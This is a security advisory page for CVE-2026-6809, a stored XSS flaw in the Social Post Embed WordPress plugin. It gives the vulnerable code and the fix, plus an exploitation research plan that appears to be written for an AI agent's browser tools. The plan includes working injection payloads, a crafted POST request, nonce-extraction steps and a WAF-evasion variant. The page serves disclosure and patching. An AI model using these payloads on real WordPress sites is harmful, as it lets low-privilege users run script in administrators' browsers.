CVE-2026-6809

Social Post Embed <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Threads Embed

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.0.2
Patched in
10d
Time to patch

Description

The Social Post Embed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Threads embed handler in all versions up to, and including, 2.0.1. This is due to insufficient input sanitization and output escaping on the user-supplied URL. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.1
PublishedApril 27, 2026
Last updatedMay 7, 2026
Affected pluginsocial-post-embed

What Changed in the Fix

Changes introduced in v2.0.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-6809 (Social Post Embed) ## 1. Vulnerability Summary The **Social Post Embed** plugin (<= 2.0.1) is vulnerable to **Stored Cross-Site Scripting (XSS)** via its Threads embed handler. The plugin registers a custom embed handler for Threads URLs but fails to san…

Show full research plan

Exploitation Research Plan: CVE-2026-6809 (Social Post Embed)

1. Vulnerability Summary

The Social Post Embed plugin (<= 2.0.1) is vulnerable to Stored Cross-Site Scripting (XSS) via its Threads embed handler. The plugin registers a custom embed handler for Threads URLs but fails to sanitize or escape the user-provided URL and the extracted "user" string before outputting them into the page's HTML. This allows an authenticated user with Contributor-level permissions or higher to inject arbitrary JavaScript by simply pasting a crafted Threads URL into a post or page.

2. Attack Vector Analysis

  • Endpoint: WordPress Post Editor (wp-admin/post-new.php or wp-admin/post.php).
  • Hook: init calls spte_register_threads_handler, which registers the handler via wp_embed_register_handler.
  • Payload Parameter: The content of a WordPress post (the post_content field).
  • Vulnerable Handler: spte_threads_handler in inc/threads.php.
  • Authentication Level: Contributor or higher (any role capable of creating/editing posts).
  • Preconditions: The plugin must be active. The payload is triggered when any user (e.g., an Administrator) views the post on the frontend or via a preview.

3. Code Flow

  1. Registration: In inc/threads.php, spte_register_threads_handler() registers a handler for URLs matching #https://www\.threads\.net/.*#i.
  2. Trigger: When WordPress processes a post containing a Threads URL (via the_content filter or auto-embeds), it calls spte_threads_handler.
  3. Extraction: The handler uses a regex to extract the username and full URL:
    preg_match( '/https:\/\/www\.threads\.net\/(@.*)\/post\/.*/', $threads_url, $split );
    $user = $split[1];
    $url  = $split[0];
    
  4. Sink: The $user and $threads_url variables are concatenated directly into the $embed HTML string without any escaping:
    $embed = '... <a href="' . $threads_url . '" ...> ... Post by ' . $user . '</div> ...';
    
  5. Output: The unescaped HTML is returned and rendered in the browser.

4. Nonce Acquisition Strategy

This vulnerability is exploited by creating a WordPress post. WordPress requires a nonce for post creation/editing to prevent CSRF.

  1. Strategy:
    • Use the browser_navigate tool to go to wp-admin/post-new.php.
    • Use browser_eval to extract the _wpnonce from the hidden input field or the wp.apiFetch settings if using the Block Editor.
    • Alternatively, since the agent has high-level browser control, it can simply use the browser_type and browser_click tools to perform the injection through the UI, which handles nonces automatically.
  2. Specific Identifiers:
    • The classic editor uses an input with id="_wpnonce" and name="_wpnonce".
    • The block editor (Gutenberg) often uses a REST API nonce available at window.wpApiSettings.nonce.

5. Exploitation Strategy

The goal is to inject a payload that breaks out of the HTML tags in the embed output.

Steps:

  1. Login: Log in as a user with the Contributor role.
  2. Payload Construction:
    • Craft a Threads URL that satisfies the plugin's regex while containing an XSS payload.
    • Target: The $user variable (extracted from the @ part of the URL).
    • Payload: https://www.threads.net/@"><img src=x onerror=alert(document.domain)>/post/123
    • Logic: The regex (@.*) will capture @"><img src=x onerror=alert(document.domain)>. When echoed inside the <div>, it breaks the text context and executes the script.
  3. Injection:
    • Navigate to wp-admin/post-new.php.
    • Set the post content to the payload URL (ensure it is on its own line to trigger auto-embed).
    • Save the post as a draft (Contributors cannot publish, but their drafts are viewable by Admins).
  4. Trigger:
    • Log in as an Administrator.
    • Navigate to the frontend URL of the created post or view the post preview in the dashboard.

HTTP Request (if performed via http_request):

POST /wp-admin/post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

post_ID=[ID]&action=editpost&_wpnonce=[NONCE]&post_content=https://www.threads.net/@%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E/post/123&post_title=Stored+XSS+Test&post_status=draft

6. Test Data Setup

  1. User: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin: Ensure social-post-embed version 2.0.1 is installed and active.

7. Expected Results

  • When the post is viewed, the resulting HTML should contain the broken <div>:
    <div style="..."> Post by @"><img src=x onerror=alert(document.domain)></div>
    
  • The browser should execute the alert(document.domain) command.

8. Verification Steps

  1. CLI Check: Verify the post content was saved exactly as intended.
    • wp post get [ID] --field=post_content
  2. Frontend Check: Use http_request to fetch the post's frontend page and grep for the unescaped payload.
    • http_request(url="http://localhost:8080/?p=[ID]")
    • Look for: Post by @"><img src=x onerror=alert(document.domain)> in the response body.

9. Alternative Approaches

  • Attribute Breakout: If the <div> injection is blocked by a WAF, target the data-text-post-permalink attribute in the <blockquote> tag.
    • Payload: https://www.threads.net/@user/post/123" onmouseover="alert(1)"
  • Shortcode Trigger: If auto-embed fails, use the [embed] shortcode explicitly:
    • [embed]https://www.threads.net/@"><img src=x onerror=alert(1)>/post/123[/embed]
  • Spoutible Handler: Check inc/spoutible.php (included in social-post-embed.php) for similar logic, as the plugin was "extended to work on a number of different social platforms" in version 2.0.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Social Post Embed plugin for WordPress (<= 2.0.1) is vulnerable to Stored Cross-Site Scripting via its Threads embed handler. The plugin extracts the username and URL from a user-supplied Threads link but fails to sanitize or escape these values before including them in the generated HTML, allowing Contributor+ users to execute arbitrary JavaScript.

Vulnerable Code

// inc/threads.php lines 46-53
	$matched = preg_match( '/https:\/\/www\.threads\.net\/(@.*)\/post\/.*/', $threads_url, $split );

	if ( 1 === $matched ) {
		$user = $split[1];
		$url  = $split[0];
	} else {
		$user = '';
		$url  = false;
	}

---

// inc/threads.php line 63
		$embed = '<blockquote class="text-post-media" data-text-post-permalink="' .  $threads_url . '" data-text-post-version="0" id="ig-tp-' . $url . '" style=" background:#FFF; border-width: 1px; border-style: solid; border-color: #00000026; border-radius: 16px; max-width:540px; margin: 1px; min-width:270px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);"> <a href="' .  $threads_url . '" style=" background:#FFFFFF; line-height:0; padding:0 0; text-align:center; text-decoration:none; width:100%; font-family: -apple-system, BlinkMacSystemFont, sans-serif;" target="_blank"> <div style=" padding: 40px; display: flex; flex-direction: column; align-items: center;"><div style=" display:block; height:32px; width:32px; padding-bottom:20px;"> <svg ... (truncated) ... </svg></div> <div style=" font-size: 15px; line-height: 21px; color: #999999; font-weight: 400; padding-bottom: 4px; "> Post by ' . $user . '</div> <div style=" font-size: 15px; line-height: 21px; color: #000000; font-weight: 600; "> View on Threads</div></div></a></blockquote><script async src="https://www.threads.net/embed.js"></script>';

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/social-post-embed/2.0.1/inc/threads.php	2024-04-21 15:22:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/social-post-embed/2.0.2/inc/threads.php	2026-04-21 20:37:20.000000000 +0000
@@ -46,8 +46,8 @@
 	$matched = preg_match( '/https:\/\/www\.threads\.net\/(@.*)\/post\/.*/', $threads_url, $split );
 
 	if ( 1 === $matched ) {
-		$user = $split[1];
-		$url  = $split[0];
+		$user = esc_attr( $split[1] );
+		$url  = esc_attr( $split[0] );
 	} else {
 		$user = '';
 		$url  = false;
@@ -58,6 +58,8 @@
 	if ( ! $url ) {
 		$embed = '<p>Error: Threads URL format not recognised.</p>';
 	} else {
+		$threads_url = esc_url( $threads_url );
+
 		// The following code makes use of a third party script from Threads (part of Meta). The Privacy Policy is at https://help.instagram.com/515230437301944
 		// PHPCS is disabled for this next line, so there's no nag to enqueue this script.
 		// phpcs:disable

Exploit Outline

An authenticated attacker with Contributor-level permissions or higher can exploit this vulnerability by creating or editing a post and inserting a maliciously crafted Threads URL. A payload such as 'https://www.threads.net/@"><img src=x onerror=alert(document.domain)>/post/123' satisfies the plugin's regex, which captures the XSS payload into the '$user' variable. When the post is rendered, the payload breaks out of the HTML structure and executes the injected script in the context of any user viewing the page, including administrators.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.